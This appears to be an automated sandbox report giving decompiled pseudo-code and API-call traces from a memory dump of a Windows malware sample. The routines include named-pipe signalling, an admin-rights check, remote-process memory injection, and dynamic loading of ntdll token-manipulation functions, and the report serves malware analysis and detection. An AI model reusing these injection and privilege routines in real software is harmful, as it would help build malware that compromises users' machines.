Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: AddressComputerCountCurrentHandleInfoModuleNameProcProcessSystemTickVersion
String ID: IsWow64Process$born_date$flags_upd$hi_id$kernel32$lid_file_upd$loader_id$localcfg$net_type$start_srv$work_srv
API String ID: 4207808166-1381319158
Opcode ID: 52000fdd36173797c6d9852f05b2f7d3bbe79e14d00c0f3373a6a06b26d807cb
Instruction ID: 54c1e59e0de162fea3d0b4a588507db8dabc792a1e082174f42e6dfe58141249
Opcode Fuzzy Hash: 52000fdd36173797c6d9852f05b2f7d3bbe79e14d00c0f3373a6a06b26d807cb
Instruction Fuzzy Hash: 3651FA705003446FD330AF768C85F67BAECEB84708F00493FF955A2292D7BDA94487A9

Uniqueness

Uniqueness Score: -1.00%

Function 0040405E, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 203
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040405E(void* __ecx) {
				unsigned int _v8;
				unsigned int _v12;
				void* _v16;
				void* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v40;
				void* _t40;
				void* _t43;
				void* _t49;
				void* _t56;
				void* _t62;
				void* _t64;
				long _t71;
				void* _t82;
				void* _t92;
				void* _t93;
				void* _t95;
				void* _t97;
				void* _t98;
				void* _t99;
				void* _t103;
				void* _t104;

				_t95 = __ecx;
				_v8 = 0;
				_t40 = CreateEventA(0, 1, 1, 0);
				_v16 = _t40;
				if(_t40 != 0) {
					_t43 = E00404000(E00403ECD(_t95),  &_v20);
					_t97 = _t98;
					_t102 = 0x7d0;
					_t92 = 0x100;
					_t99 = 0x4122f8;
					if(_t43 == 0) {
						L10:
						E0040EE2A(_t97, _t99, 0, _t92);
						_t104 = _t103 + 0xc;
						_t93 = 0xa;
						while(1) {
							_t93 = _t93 - 1;
							_t99 = CreateNamedPipeA(E00403ECD(_t97), 0x40000003, 0, 0xff, 0x64, 0x64, 0x64, 0);
							if(_t99 != 0xffffffff) {
								break;
							}
							Sleep(0x1f4);
							if(_t93 != 0) {
								continue;
							}
							CloseHandle(_v16);
							return 0;
						}
						L14:
						while(1) {
							do {
								L14:
								while(1) {
									do {
										if(ConnectNamedPipe(_t99, 0) != 0) {
											goto L16;
										}
										_t71 = GetLastError();
										asm("sbb eax, eax");
										if( ~(_t71 - 0x217) + 1 == 0) {
											L25:
											DisconnectNamedPipe(_t99);
											continue;
										}
										L16:
										_t49 = E00403F8C(_t99,  &_v12, 4, _v16, _t102);
										_t104 = _t104 + 0x14;
									} while (_t49 == 0);
									_t92 = _v16;
									_v8 = (_v12 >> 2) + _v12;
									E00403F18(_t99,  &_v8, 4, _t92, _t102);
									_t56 = E00403F8C(_t99,  &_v12, 4, _t92, _t102);
									_t104 = _t104 + 0x28;
									if(_t56 == 0 || _v12 != (_v8 >> 2) + _v8) {
										goto L25;
									} else {
										_t62 = E00403F8C(_t99,  &_v28, 8, _t92, _t102);
										_t104 = _t104 + 0x14;
										if(_t62 == 0 || _v24 != 0xc) {
											goto L25;
										} else {
											_t64 = E00403F8C(_t99,  &_v40, 0xc, _t92, _t102);
											_t104 = _t104 + 0x14;
											if(_t64 == 0) {
												goto L25;
											}
											break;
										}
									}
								}
							} while (_v28 != 1);
							E00403F18(_t99,  &_v8, 4, _t92, _t102);
							_t103 = _t104 + 0x14;
							if(_v32 == 0) {
								_t102 = CloseHandle;
								CloseHandle(_t99);
								CloseHandle(_t92);
								E0040E318();
								L8:
								ExitProcess(0);
							}
							 *0x41215a =  *0x41215a + 1;
						}
					}
					E0040EE2A(_t97, 0x4122f8, 0, 0x100);
					_t103 = _t103 + 0xc;
					if(_v20 == 0xffffffff) {
						goto L10;
					}
					_v12 = E0040ECA5();
					E00403F18(_v20,  &_v12, 4, _v16, 0x7d0);
					_t82 = E00403F8C(_v20,  &_v8, 4, _v16, 0x7d0);
					_t103 = _t103 + 0x28;
					if(_t82 == 0 || _v8 != (_v12 >> 2) + _v12) {
						CloseHandle(_v20);
						goto L10;
					} else {
						_v8 = _v8 + (_v8 >> 2);
						E00403F18(_v20,  &_v8, 4, _v16, 0x7d0);
						_t103 = _t103 + 0x14;
						goto L8;
					}
				}
				return 0;
			}

0x0040405e
0x0040406d
0x00404070
0x00404076
0x0040407b
0x00404090
0x00404096
0x00404097
0x0040409c
0x004040a1
0x004040a8
0x00404130
0x00404134
0x00404139
0x0040413e
0x0040413f
0x00404153
0x00404160
0x00404165
0x00000000
0x00000000
0x0040416c
0x00404174
0x00000000
0x00000000
0x00404179
0x00000000
0x00404182
0x00000000
0x00404188
0x00404188
0x00000000
0x00404188
0x00404188
0x00404193
0x00000000
0x00000000
0x00404195
0x004041a2
0x004041a5
0x0040425e
0x0040425f
0x00000000
0x0040425f
0x004041ab
0x004041b6
0x004041bb
0x004041be
0x004041c5
0x004041d0
0x004041da
0x004041e8
0x004041ed
0x004041f2
0x00000000
0x00404202
0x0040420b
0x00404210
0x00404215
0x00000000
0x0040421d
0x00404226
0x0040422b
0x00404230
0x00000000
0x00000000
0x00000000
0x00404230
0x00404215
0x004041f2
0x00404232
0x00404245
0x0040424a
0x00404251
0x0040426a
0x00404271
0x00404274
0x00404276
0x0040411f
0x00404121
0x00404121
0x00404253
0x00404253
0x00404188
0x004040b2
0x004040b7
0x004040be
0x00000000
0x00000000
0x004040c9
0x004040d5
0x004040e7
0x004040ec
0x004040f1
0x0040412a
0x00000000
0x00404101
0x0040410b
0x00404117
0x0040411c
0x00000000
0x0040411c
0x004040f1
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 00404070
ExitProcess.KERNEL32 ref: 00404121

Strings

PromptOnSecureDesktop, xrefs: 004040A1, 004040B1, 00404133

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: CreateEventExitProcess
String ID: PromptOnSecureDesktop
API String ID: 2404124870-2980165447
Opcode ID: ecdf59d793d742e7872ece16c3f2b9a8eabc219a589cb6fa6f12b524e62dd379
Instruction ID: 074d9bb49edb1fcb374f0917b5464843becdd4ef2bd88426a03fabb40598a920
Opcode Fuzzy Hash: ecdf59d793d742e7872ece16c3f2b9a8eabc219a589cb6fa6f12b524e62dd379
Instruction Fuzzy Hash: 3C5192B1E00209BAEB10ABA19D45FFF7A7CEB54755F00007AFB04B61C1E7798A41C7A9

Uniqueness

Uniqueness Score: -1.00%

Function 00406EDD, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00406EDD() {
				int _v8;
				void* _v12;
				short _v16;
				struct _SID_IDENTIFIER_AUTHORITY _v20;
				signed int _t12;
				int _t15;
				int* _t16;

				_t12 =  *0x412048; // 0x0
				if(_t12 < 0) {
					_v20.Value = 0;
					_v16 = 0x500;
					_t15 = AllocateAndInitializeSid( &_v20, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v12);
					_v8 = _t15;
					if(_t15 != 0) {
						_t6 =  &_v8; // 0x40702a
						_t16 = _t6;
						__imp__CheckTokenMembership(0, _v12, _t16);
						if(_t16 != 0) {
							 *0x412048 = 0 | _v8 == 0x00000000;
						}
						FreeSid(_v12);
					}
					_t12 =  *0x412048; // 0x0
					if(_t12 != 0) {
						_t12 = E00406E36(0x12, 0);
						 *0x412048 = _t12;
					}
				}
				return _t12;
			}

0x00406ee0
0x00406eed
0x00406f06
0x00406f09
0x00406f0f
0x00406f15
0x00406f1a
0x00406f1c
0x00406f1c
0x00406f24
0x00406f2c
0x00406f36
0x00406f36
0x00406f3e
0x00406f3e
0x00406f44
0x00406f4b
0x00406f50
0x00406f57
0x00406f57
0x00406f4b
0x00406f5e

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00406F0F
CheckTokenMembership.ADVAPI32(00000000,?,*p@), ref: 00406F24
FreeSid.ADVAPI32(?), ref: 00406F3E

Strings

*p@, xrefs: 00406F1C, 00406F1F

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID: *p@
API String ID: 3429775523-2474123842
Opcode ID: e5b07a668181befdfd7487022a30a26c3f8e9f7140bfa863a498fdcbf626812e
Instruction ID: a55d58a6849641b9de595c9770ce5785232f8714219103e6702645194e06a02f
Opcode Fuzzy Hash: e5b07a668181befdfd7487022a30a26c3f8e9f7140bfa863a498fdcbf626812e
Instruction Fuzzy Hash: 6701E571904209AFDB10DFE4ED85AAE7BB8F708304F50847AE606E2191D7745A54CB18

Uniqueness

Uniqueness Score: -1.00%

Function 0040637C, Relevance: 6.1, APIs: 4, Instructions: 67
memoryinjectionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040637C(intOrPtr _a4, void* _a8, intOrPtr* _a12, void** _a16) {
				void* _v8;
				void* _t15;
				void* _t16;
				long _t26;
				struct HINSTANCE__* _t32;
				void* _t37;

				if(_a8 != 0) {
					_t32 = GetModuleHandleA(0);
					_t26 =  *( *((intOrPtr*)(_t32 + 0x3c)) + _t32 + 0x50);
					_t15 = VirtualAlloc(0, _t26, 0x1000, 4);
					_v8 = _t15;
					if(_t15 == 0) {
						L5:
						_t16 = 0;
					} else {
						E0040EE08(_t15, _t32, _t26);
						_t37 = VirtualAllocEx(_a8, 0, _t26, 0x1000, 0x40);
						if(_t37 == 0) {
							goto L5;
						} else {
							E004062B7(_v8, _t37);
							if(WriteProcessMemory(_a8, _t37, _v8, _t26, 0) != 0) {
								 *_a16 = _t37;
								 *_a12 = _t37 - _t32 + _a4;
								_t16 = 1;
							} else {
								goto L5;
							}
						}
					}
					return _t16;
				} else {
					return 0;
				}
			}

0x00406384
0x00406395
0x0040639a
0x004063a9
0x004063af
0x004063b4
0x004063f5
0x004063f5
0x004063b6
0x004063b9
0x004063d0
0x004063d4
0x00000000
0x004063d6
0x004063da
0x004063f3
0x004063fc
0x00406406
0x0040640a
0x00000000
0x00000000
0x00000000
0x004063f3
0x004063d4
0x0040640f
0x00406386
0x00406389
0x00406389

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,?,?,00409816,?), ref: 0040638F
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,00409816,?), ref: 004063A9
VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000040), ref: 004063CA
WriteProcessMemory.KERNEL32(00000000,00000000,?,?,00000000), ref: 004063EB

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: AllocVirtual$HandleMemoryModuleProcessWrite
String ID:
API String ID: 1965334864-0
Opcode ID: 6b7839f040fb078f737eaa4cdd504cc34e5d0933869709ec770a1cd6c6f8f9ba
Instruction ID: 5c31eb3238d54f8d6ca6dd7d72ba58cabd3ec10295ac0618dae15ec7b9dc1832
Opcode Fuzzy Hash: 6b7839f040fb078f737eaa4cdd504cc34e5d0933869709ec770a1cd6c6f8f9ba
Instruction Fuzzy Hash: B911A3B1600219BFEB119F65DC49F9B3FA8EB047A4F114035FD09E7290D775DC108AA8

Uniqueness

Uniqueness Score: -1.00%

Function 00408E26, Relevance: 4.6, APIs: 3, Instructions: 63
fileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00408E26(void* __ecx, void* __edx, long _a4, void* _a8, long _a12, void* _a16, long _a20, DWORD* _a24) {
				char _v12;
				int _t13;
				DWORD* _t14;
				int _t15;
				void* _t20;
				void* _t23;

				_t22 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t20 = CreateFileW(E00402508(0x4129f8,  &E0041076C, 0xe, 0xec64, 0x7bac), 0xc0000000, 0, 0, 2, 0x80, 0);
				E0040EE2A(_t22, 0x4129f8, 0, 0x200);
				if(_t20 == 0xffffffff) {
					_t13 = 0;
				} else {
					_t23 = _a8;
					if(_t23 == 0) {
						E00408DF1( &_v12);
						_t23 =  &_v12;
						_a12 = 8;
					}
					_t14 = _a24;
					 *_t14 = 0;
					_t15 = DeviceIoControl(_t20, _a4, _t23, _a12, _a16, _a20, _t14, 0);
					CloseHandle(_t20);
					_t13 = _t15;
				}
				return _t13;
			}

0x00408e26
0x00408e29
0x00408e2a
0x00408e6c
0x00408e6e
0x00408e79
0x00408ebe
0x00408e7b
0x00408e7b
0x00408e80
0x00408e86
0x00408e8c
0x00408e8f
0x00408e8f
0x00408e96
0x00408e9e
0x00408eab
0x00408eb4
0x00408eba
0x00408eba
0x00408ec4

APIs

CreateFileW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00000100), ref: 00408E5F
DeviceIoControl.KERNEL32(00000000,?,?,?,?,?,?,00000000), ref: 00408EAB
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00408EB4

Part of subcall function 00408DF1: GetSystemTime.KERNEL32(?,004129F8,?,?,00408E8B,?), ref: 00408DFC
Part of subcall function 00408DF1: SystemTimeToFileTime.KERNEL32(?,00408E8B,?,?,00408E8B,?), ref: 00408E0A

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: Time$FileSystem$CloseControlCreateDeviceHandle
String ID:
API String ID: 3754425949-0
Opcode ID: 2cf703b3f3d70fe1d21397a344fcfe55e6ffa78bdc2e74738428da1b6bf63eb9
Instruction ID: 6158522553dbc768b3fa764069f531a078bfca64040c8912efb0c234455cb59d
Opcode Fuzzy Hash: 2cf703b3f3d70fe1d21397a344fcfe55e6ffa78bdc2e74738428da1b6bf63eb9
Instruction Fuzzy Hash: CD11C8726402047BEB115F95CD4EEDB3F6DEB85714F00452AF611B62C1DAB9985087A8

Uniqueness

Uniqueness Score: -1.00%

Function 004088B0, Relevance: .1, Instructions: 108
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004088B0(intOrPtr _a4) {
				intOrPtr _t98;
				void* _t99;
				intOrPtr _t101;

				_t101 = _a4;
				E0040EE2A(_t99, _t101, 0, 0x3e0);
				 *((intOrPtr*)(_t101 + 0xc0)) = __imp__#19;
				 *((intOrPtr*)(_t101 + 0xc4)) = __imp__#16;
				 *((intOrPtr*)(_t101 + 0xc8)) = __imp__#23;
				 *((intOrPtr*)(_t101 + 0xcc)) = __imp__#4;
				 *((intOrPtr*)(_t101 + 0xd0)) = __imp__#3;
				 *((intOrPtr*)(_t101 + 0xd4)) = __imp__#21;
				 *((intOrPtr*)(_t101 + 0xd8)) = __imp__#2;
				 *((intOrPtr*)(_t101 + 0xdc)) = __imp__#13;
				 *((intOrPtr*)(_t101 + 0xe0)) = __imp__#1;
				 *((intOrPtr*)(_t101 + 0xe4)) = __imp__#18;
				 *((intOrPtr*)(_t101 + 0xe8)) = __imp__#5;
				_t98 = __imp__#6;
				 *((intOrPtr*)(_t101 + 0x10)) = E00404861;
				 *((intOrPtr*)(_t101 + 0x14)) = E00405B84;
				 *((intOrPtr*)(_t101 + 0x18)) = E00404EF2;
				 *((intOrPtr*)(_t101 + 8)) = 0;
				 *((intOrPtr*)(_t101 + 0xc)) = 0;
				 *((intOrPtr*)(_t101 + 0x1c)) = E004038F0;
				 *((intOrPtr*)(_t101 + 0x20)) = E0040384F;
				 *((intOrPtr*)(_t101 + 0x134)) = E004035A5;
				 *((intOrPtr*)(_t101 + 0x24)) = E00408EC5;
				 *((intOrPtr*)(_t101 + 0x28)) = E00408EFA;
				 *((intOrPtr*)(_t101 + 0x2c)) = E00408F28;
				 *((intOrPtr*)(_t101 + 0x30)) = E00408F53;
				 *((intOrPtr*)(_t101 + 0x34)) = E004022B9;
				 *((intOrPtr*)(_t101 + 0x38)) = E004025B4;
				 *((intOrPtr*)(_t101 + 0x3c)) = E00408F87;
				 *((intOrPtr*)(_t101 + 0x54)) = E0040AD89;
				 *((intOrPtr*)(_t101 + 0x58)) = E0040B211;
				 *((intOrPtr*)(_t101 + 0x5c)) = E0040AEDD;
				 *((intOrPtr*)(_t101 + 0x60)) = E0040F304;
				 *((intOrPtr*)(_t101 + 0x64)) = E0040F428;
				 *((intOrPtr*)(_t101 + 0x68)) = E0040F43E;
				 *((intOrPtr*)(_t101 + 0x6c)) = E0040F483;
				 *((intOrPtr*)(_t101 + 0x70)) = 0x412104;
				 *((intOrPtr*)(_t101 + 0x74)) = E0040F26D;
				 *((intOrPtr*)(_t101 + 0x78)) = E0040F315;
				 *((intOrPtr*)(_t101 + 0x7c)) = E0040E52E;
				 *((intOrPtr*)(_t101 + 0x80)) = E0040E318;
				 *((intOrPtr*)(_t101 + 0x84)) = E0040EAAF;
				 *((intOrPtr*)(_t101 + 0x88)) = E0040E7B4;
				 *((intOrPtr*)(_t101 + 0x8c)) = E0040DD05;
				 *((intOrPtr*)(_t101 + 0x90)) = E0040E7FF;
				 *((intOrPtr*)(_t101 + 0x94)) = E0040DD69;
				 *((intOrPtr*)(_t101 + 0x98)) = E0040E819;
				 *((intOrPtr*)(_t101 + 0x9c)) = E0040E854;
				 *((intOrPtr*)(_t101 + 0xa0)) = E0040E8A1;
				 *((intOrPtr*)(_t101 + 0xa4)) = E0040EA84;
				 *((intOrPtr*)(_t101 + 0xa8)) = E0040DF4C;
				 *((intOrPtr*)(_t101 + 0xac)) = E0040DF70;
				 *((intOrPtr*)(_t101 + 0xb0)) = E0040E654;
				 *((intOrPtr*)(_t101 + 0xb4)) = E0040E749;
				 *((intOrPtr*)(_t101 + 0xb8)) = E004030B5;
				 *((intOrPtr*)(_t101 + 0xbc)) = 0;
				 *((intOrPtr*)(_t101 + 0xec)) = _t98;
				 *((intOrPtr*)(_t101 + 0xf0)) = E00402684;
				 *((intOrPtr*)(_t101 + 0xf4)) = E004026B2;
				 *((intOrPtr*)(_t101 + 0xf8)) = E00402EF8;
				 *((intOrPtr*)(_t101 + 0xfc)) = E00402F22;
				 *((intOrPtr*)(_t101 + 0x100)) = 0;
				 *((intOrPtr*)(_t101 + 0x104)) = 0;
				 *((intOrPtr*)(_t101 + 0x108)) = 0;
				 *((intOrPtr*)(_t101 + 0x10c)) = 0;
				 *((intOrPtr*)(_t101 + 0x110)) = 0;
				 *((intOrPtr*)(_t101 + 0x114)) = E0040A7C1;
				 *((intOrPtr*)(_t101 + 0x118)) = E00401FEB;
				 *((intOrPtr*)(_t101 + 0x11c)) = 0x401ffe;
				 *((intOrPtr*)(_t101 + 0x138)) = E00406509;
				 *((intOrPtr*)(_t101 + 0x140)) = E00405D34;
				 *((intOrPtr*)(_t101 + 0x144)) = E00405C05;
				 *((intOrPtr*)(_t101 + 0x148)) = E00405D93;
				 *((intOrPtr*)(_t101 + 0x14c)) = E00405E37;
				 *((intOrPtr*)(_t101 + 0x150)) = E004048C9;
				 *((intOrPtr*)(_t101 + 0x154)) = E00405E21;
				 *((intOrPtr*)(_t101 + 0x158)) = E00405CE1;
				 *((intOrPtr*)(_t101 + 0x15c)) = E00405DED;
				 *((intOrPtr*)(_t101 + 0x160)) = E00404EFD;
				 *((intOrPtr*)(_t101 + 0x164)) = E004048C9;
				 *((intOrPtr*)(_t101 + 0x168)) = E0040488C;
				 *((intOrPtr*)(_t101 + 0x174)) = E00404F13;
				 *((intOrPtr*)(_t101 + 0x178)) = E00404F50;
				 *((intOrPtr*)(_t101 + 0x17c)) = E004082BB;
				 *((intOrPtr*)(_t101 + 0x180)) = E004082C1;
				 *((intOrPtr*)(_t101 + 0x184)) = 0x4082c7;
				 *((intOrPtr*)(_t101 + 0x188)) = 0x408308;
				return _t98;
			}

0x004088b1
0x004088bf
0x004088c9
0x004088d4
0x004088df
0x004088ea
0x004088f5
0x00408900
0x0040890b
0x00408916
0x00408921
0x0040892c
0x00408937
0x0040893d
0x00408945
0x0040894c
0x00408953
0x0040895a
0x0040895d
0x00408960
0x00408967
0x0040896e
0x00408978
0x0040897f
0x00408986
0x0040898d
0x00408994
0x0040899b
0x004089a2
0x004089a9
0x004089b0
0x004089b7
0x004089be
0x004089c5
0x004089cc
0x004089d3
0x004089da
0x004089e1
0x004089e8
0x004089ef
0x004089f6
0x00408a00
0x00408a0a
0x00408a14
0x00408a1e
0x00408a28
0x00408a32
0x00408a3c
0x00408a46
0x00408a50
0x00408a5a
0x00408a64
0x00408a6e
0x00408a78
0x00408a82
0x00408a8c
0x00408a92
0x00408a98
0x00408aa2
0x00408aac
0x00408ab6
0x00408ac0
0x00408ac6
0x00408acc
0x00408ad2
0x00408ad8
0x00408adf
0x00408ae9
0x00408af3
0x00408afd
0x00408b07
0x00408b11
0x00408b1b
0x00408b25
0x00408b2f
0x00408b39
0x00408b43
0x00408b4d
0x00408b57
0x00408b61
0x00408b6b
0x00408b75
0x00408b7f
0x00408b89
0x00408b93
0x00408b9d
0x00408ba7
0x00408bb2

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b87d996b03424d41ecd054f3042c71836826564e4b1ffe17874333ad5a991b34
Instruction ID: 64893a5cec851924fefc00027ac9d8258265f32e823952a4835c6918c3f2ac29
Opcode Fuzzy Hash: b87d996b03424d41ecd054f3042c71836826564e4b1ffe17874333ad5a991b34
Instruction Fuzzy Hash: 59714BB4501B41CFD360CF66D548782BBE0BB54308F10CD6ED5AAAB790DBB86588DF98

Uniqueness

Uniqueness Score: -1.00%

Function 00401000, Relevance: 56.2, APIs: 16, Strings: 16, Instructions: 170
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401000() {
				struct HINSTANCE__* _t2;
				_Unknown_base(*)()* _t3;
				signed int _t4;
				_Unknown_base(*)()* _t6;
				_Unknown_base(*)()* _t7;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t10;
				_Unknown_base(*)()* _t11;
				_Unknown_base(*)()* _t12;
				_Unknown_base(*)()* _t14;
				_Unknown_base(*)()* _t15;
				_Unknown_base(*)()* _t16;
				_Unknown_base(*)()* _t18;
				_Unknown_base(*)()* _t19;
				_Unknown_base(*)()* _t20;
				_Unknown_base(*)()* _t22;
				_Unknown_base(*)()* _t23;
				signed int _t34;
				signed int _t35;

				_t2 =  *0x413918;
				_t35 = _t34 | 0xffffffff;
				if(_t2 != 0) {
					L3:
					if( *0x41391c == 0 ||  *0x413920 == 0 ||  *0x413924 == 0 ||  *0x413928 == 0 ||  *0x41392c == 0 ||  *0x413930 == 0 ||  *0x413934 == 0 ||  *0x413938 == 0 ||  *0x41393c == 0 ||  *0x413940 == 0 ||  *0x413944 == 0 ||  *0x413948 == 0 ||  *0x41394c == 0 ||  *0x413950 == 0 ||  *0x413954 == 0) {
						_t3 = GetProcAddress(_t2, "RtlExpandEnvironmentStrings_U");
						 *0x41391c = _t3;
						if(_t3 == 0) {
							L34:
							_t4 = _t35;
						} else {
							_t35 = 0xfffffffe;
							_t6 = GetProcAddress( *0x413918, "RtlSetLastWin32Error");
							 *0x413920 = _t6;
							if(_t6 == 0) {
								goto L34;
							} else {
								_t35 = 0xfffffffd;
								_t7 = GetProcAddress( *0x413918, "NtTerminateProcess");
								 *0x413924 = _t7;
								if(_t7 == 0) {
									goto L34;
								} else {
									_t35 = 0xfffffffc;
									_t8 = GetProcAddress( *0x413918, "RtlFreeSid");
									 *0x413928 = _t8;
									if(_t8 == 0) {
										goto L34;
									} else {
										_t35 = 0xfffffffb;
										_t10 = GetProcAddress( *0x413918, "RtlInitUnicodeString");
										 *0x41392c = _t10;
										if(_t10 == 0) {
											goto L34;
										} else {
											_t35 = 0xfffffffa;
											_t11 = GetProcAddress( *0x413918, "NtSetInformationThread");
											 *0x413930 = _t11;
											if(_t11 == 0) {
												goto L34;
											} else {
												_t35 = 0xfffffff9;
												_t12 = GetProcAddress( *0x413918, "NtSetInformationToken");
												 *0x413934 = _t12;
												if(_t12 == 0) {
													goto L34;
												} else {
													_t35 = 0xfffffff8;
													_t14 = GetProcAddress( *0x413918, "RtlNtStatusToDosError");
													 *0x413938 = _t14;
													if(_t14 == 0) {
														goto L34;
													} else {
														_t35 = 0xfffffff7;
														_t15 = GetProcAddress( *0x413918, "NtClose");
														 *0x41393c = _t15;
														if(_t15 == 0) {
															goto L34;
														} else {
															_t35 = 0xfffffff6;
															_t16 = GetProcAddress( *0x413918, "NtOpenProcessToken");
															 *0x413940 = _t16;
															if(_t16 == 0) {
																goto L34;
															} else {
																_t35 = 0xfffffff5;
																_t18 = GetProcAddress( *0x413918, "NtDuplicateToken");
																 *0x413944 = _t18;
																if(_t18 == 0) {
																	goto L34;
																} else {
																	_t35 = 0xfffffff4;
																	_t19 = GetProcAddress( *0x413918, "RtlAllocateAndInitializeSid");
																	 *0x413948 = _t19;
																	if(_t19 == 0) {
																		goto L34;
																	} else {
																		_t35 = 0xfffffff3;
																		_t20 = GetProcAddress( *0x413918, "NtFilterToken");
																		 *0x41394c = _t20;
																		if(_t20 == 0) {
																			goto L34;
																		} else {
																			_t35 = 0xfffffff2;
																			_t22 = GetProcAddress( *0x413918, "RtlLengthSid");
																			 *0x413950 = _t22;
																			if(_t22 == 0) {
																				goto L34;
																			} else {
																				_t35 = 0xfffffff1;
																				_t23 = GetProcAddress( *0x413918, "NtQueryInformationToken");
																				 *0x413954 = _t23;
																				_t1 = _t35 + 0x10; // 0x100000001
																				_t4 = _t1;
																				if(_t23 == 0) {
																					goto L34;
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
						return _t4;
					} else {
						return 1;
					}
				} else {
					_t2 = LoadLibraryA("ntdll.dll");
					 *0x413918 = _t2;
					if(_t2 != 0) {
						goto L3;
					} else {
						return _t2;
					}
				}
			}

0x00401000
0x00401006
0x0040100b
0x00401023
0x0040102a
0x004010c2
0x004010c4
0x004010cb
0x0040127b
0x0040127b
0x004010d1
0x004010dc
0x004010e1
0x004010e3
0x004010ea
0x00000000
0x004010f0
0x004010fc
0x00401101
0x00401103
0x0040110a
0x00000000
0x00401110
0x0040111c
0x00401121
0x00401123
0x0040112a
0x00000000
0x00401130
0x0040113b
0x00401140
0x00401142
0x00401149
0x00000000
0x0040114f
0x0040115b
0x00401160
0x00401162
0x00401169
0x00000000
0x0040116f
0x0040117b
0x00401180
0x00401182
0x00401189
0x00000000
0x0040118f
0x0040119a
0x0040119f
0x004011a1
0x004011a8
0x00000000
0x004011ae
0x004011ba
0x004011bf
0x004011c1
0x004011c8
0x00000000
0x004011ce
0x004011da
0x004011df
0x004011e1
0x004011e8
0x00000000
0x004011ee
0x004011f9
0x004011fe
0x00401200
0x00401207
0x00000000
0x00401209
0x00401215
0x0040121a
0x0040121c
0x00401223
0x00000000
0x00401225
0x00401231
0x00401236
0x00401238
0x0040123f
0x00000000
0x00401241
0x0040124c
0x00401251
0x00401253
0x0040125a
0x00000000
0x0040125c
0x00401268
0x0040126d
0x0040126f
0x00401276
0x00401276
0x00401279
0x00000000
0x00000000
0x00401279
0x0040125a
0x0040123f
0x00401223
0x00401207
0x004011e8
0x004011c8
0x004011a8
0x00401189
0x00401169
0x00401149
0x0040112a
0x0040110a
0x004010ea
0x0040127f
0x004010ae
0x004010b4
0x004010b4
0x0040100d
0x00401012
0x00401018
0x0040101f
0x00000000
0x00401022
0x00401022
0x00401022
0x0040101f

APIs

LoadLibraryA.KERNEL32(ntdll.dll,00000000,00401839,00409646), ref: 00401012
GetProcAddress.KERNEL32(?,RtlExpandEnvironmentStrings_U), ref: 004010C2
GetProcAddress.KERNEL32(?,RtlSetLastWin32Error), ref: 004010E1
GetProcAddress.KERNEL32(?,NtTerminateProcess), ref: 00401101
GetProcAddress.KERNEL32(?,RtlFreeSid), ref: 00401121
GetProcAddress.KERNEL32(?,RtlInitUnicodeString), ref: 00401140
GetProcAddress.KERNEL32(?,NtSetInformationThread), ref: 00401160
GetProcAddress.KERNEL32(?,NtSetInformationToken), ref: 00401180
GetProcAddress.KERNEL32(?,RtlNtStatusToDosError), ref: 0040119F
GetProcAddress.KERNEL32(?,NtClose), ref: 004011BF
GetProcAddress.KERNEL32(?,NtOpenProcessToken), ref: 004011DF
GetProcAddress.KERNEL32(?,NtDuplicateToken), ref: 004011FE
GetProcAddress.KERNEL32(?,RtlAllocateAndInitializeSid), ref: 0040121A

Strings

NtClose, xrefs: 004011B4
NtOpenProcessToken, xrefs: 004011D4
NtSetInformationToken, xrefs: 00401175
